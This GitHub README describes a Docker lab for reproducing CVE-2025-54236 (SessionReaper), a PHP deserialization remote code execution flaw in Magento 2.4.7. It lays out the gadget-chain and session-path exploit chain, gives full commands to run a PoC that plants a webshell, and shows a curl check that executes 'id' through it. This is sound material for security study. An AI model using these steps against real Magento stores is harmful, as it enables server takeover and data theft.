brito101/session_reaper_lab
GitHub: brito101/session_reaper_lab
一个基于 Docker 的漏洞复现实验环境,用于演示 CVE-2025-54236 中 PHP 对象反序列化如何导致 Magento 2.4.7 远程代码执行。
Stars: 0 | Forks: 0
# CVE-2025-54236 - SessionReaper 实验环境
用于演示 **CVE-2025-54236** (SessionReaper) 的 Docker 环境:PHP 对象反序列化导致 Magento Open Source 2.4.7 出现 RCE。
## 关于该漏洞
**CVE-2025-54236** 影响版本至 2.4.7 的 Magento Open Source 和 Adobe Commerce。方法 `ServiceInputProcessor::getConstructorData()` 接受通过 JSON 传递的嵌套参数,允许覆盖 `session.save_path` ——即 PHP 存储会话文件的目录。
**利用链:**
1. 通过 `/customer/address_file/upload` 上传一个序列化的 PHP 文件(通过 phpggc 生成的 gadget chain `Guzzle/FW1`),该文件会被保存在 `pub/media/customer_address/s/e/sess_`。
2. 向 REST API 发送请求,注入 `{"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}}` 作为构造函数参数。
3. PHP 使用伪造的 PHPSESSID 调用 `session_start()`,反序列化 gadget chain 并将一个 webshell 写入 `pub/errors/`。
**前提条件:** PHP 会话配置为 `file-based`(非 Redis/Memcached)。
- CVSS:9.1(严重)
- 受影响版本:Magento Open Source / Adobe Commerce ≤ 2.4.7
## 仓库结构
```
magento/
├── lab-magento/ # Docker lab (Magento 2.4.7 vulnerável)
│ ├── Dockerfile # PHP 8.2-FPM com extensões Magento
│ ├── docker-compose.yml # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
│ ├── .env # Configurações do ambiente
│ ├── conf/
│ │ ├── nginx/ # VirtualHost nginx
│ │ └── php/magento.ini # Sessões file-based, memory_limit=2G
│ └── scripts/
│ ├── 01-install.sh # Instalação completa do zero
│ └── 02-demo-setup.sh # Prepara produto, payload e imprime instruções
├── SessionReaper-CVE-2025-54236/
│ └── session_reaper.py # PoC principal (autor: alexb616)
└── payloads/
├── shell.php # Webshell com aspas simples (evita escape JSON)
└── sess_payload.bin # Gadget chain serializada (gerado pelo script)
```
## 环境要求
- Docker Engine 24+
- Docker Compose v2 (`docker compose`)
- PHP CLI(用于运行 phpggc)**或者**包含可用 `ambionics/phpggc` 镜像的 Docker
- **phpggc** - [https://github.com/ambionics/phpggc](https://github.com/ambionics/phpggc)
- `session_reaper.py` 会按以下顺序查找该二进制文件:系统 PATH、`~/phpggc/phpggc`、`/opt/phpggc/phpggc`,如果都找不到,则作为回退方案自动拉取 Docker 镜像 `ambionics/phpggc`
- 安装了 `requests` 库的 Python 3.8+(`pip install requests`)
- WSL2 / Linux(在 WSL2 中,可能需要为 Elasticsearch 执行:`sudo sysctl -w vm.max_map_count=262144`)
## 安装说明
```
cd lab-magento
# 从零开始安装 Magento 2.4.7 (~25 分钟)
bash scripts/install.sh
```
`install.sh` 会执行以下操作:
- 构建自定义的 PHP 镜像
- 启动 5 个容器(PHP-FPM, Nginx, MySQL, Elasticsearch, Redis)
- 通过 Git 克隆 Magento 2.4.7(无需 Marketplace 账号)
- 执行 `composer install --no-dev`
- 运行 `setup:install` 并配置为 `file-based` 会话
- 设置为 `default` 模式(而非 `developer` 模式 —— 避免将 PHP 8.2 的 warnings 转换为异常)
- 禁用 2FA 以便更轻松地访问后台
- 执行 `setup:static-content:deploy`
- 在所有阶段修正 `www-data` 的权限
## 运行 exploit
安装完成后,在根目录(`/magento/`)中执行:
```
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method order \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
```
检查 RCE:
```
curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
# 预期输出:uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
**备选方法**(使用 `address` 向量,配合真实产品):
```
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method address \
--sku DEMO-001 \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
```
## 实验环境凭据
| 服务 | URL / Host | 凭据 |
|---------|-----------|------------|
| Magento 商店 | http://localhost:8080/ | - |
| Magento 后台 | http://localhost:8080/admin/ | admin / Admin123! |
| MySQL | localhost:3306 | magento / magento |
| Elasticsearch | localhost:9200 | - |
## 监控
```
# 由 exploit 创建的会话
docker exec lab_magento_php ls -la /var/www/html/var/session/
# media/ 中的恶意会话文件
docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
# 实时日志
docker logs lab_magento_nginx -f
docker logs lab_magento_php -f
```
## 清理
```
# 移除 webshell
docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
# 停止 containers
docker compose -f lab-magento/docker-compose.yml down
# 销毁全部 (containers + volumes)
docker compose -f lab-magento/docker-compose.yml down -v
```
## 技术细节
**为什么 webshell 中使用单引号?**
phpggc 的 `Guzzle/FW1` 将 payload 序列化为 JSON 格式:`[{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]`。由于 PHP 的内容经过了 JSON 编码,`"` 会变成 `\"`。如果使用 `$_GET["cmd"]`,它将变成 `$_GET[\"cmd\"]` —— 这会导致 PHP 解析错误。解决办法是使用单引号编写 webshell:`$_GET['cmd']`。
**为什么使用 `default` 模式而不是 `developer` 模式?**
处于 `developer` 模式的 Magento 会将所有的 PHP warnings 转换为异常。PHP 8.2 会在 `lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114` 处触发 `Warning: Trying to access array offset on null`,这在后台会引发 500 异常。而在 `default` 模式下,该 warning 会被忽略。
**为什么文件会存放在 `s/e/` 目录下?**
Magento 会将上传的地址文件整理存放在 `pub/media/customer_address/{第1个字符}/{第2个字符}/filename` 中。对于 `sess_*` 文件,第一个字符是 `s`,第二个字符是 `e`,因此最终总是存放在 `pub/media/customer_address/s/e/`。
## 参考资料
- [NVD - CVE-2025-54236](https://nvd.nist.gov/vuln/detail/CVE-2025-54236)
- [原始 PoC - alexb616/SessionReaper-CVE-2025-54236](https://github.com/alexb616/SessionReaper-CVE-2025-54236)
- [phpggc - ambionics/phpggc](https://github.com/ambionics/phpggc)
- [Adobe 安全公告 APSB25-94](https://helpx.adobe.com/security/products/magento/apsb25-94.html)
标签:Docker, Magento, OpenVAS, PHP, Web安全, 安全防御评估, 搜索引擎查询, 漏洞环境, 版权保护, 编程工具, 蓝队分析, 请求拦截, 远程代码执行, 逆向工具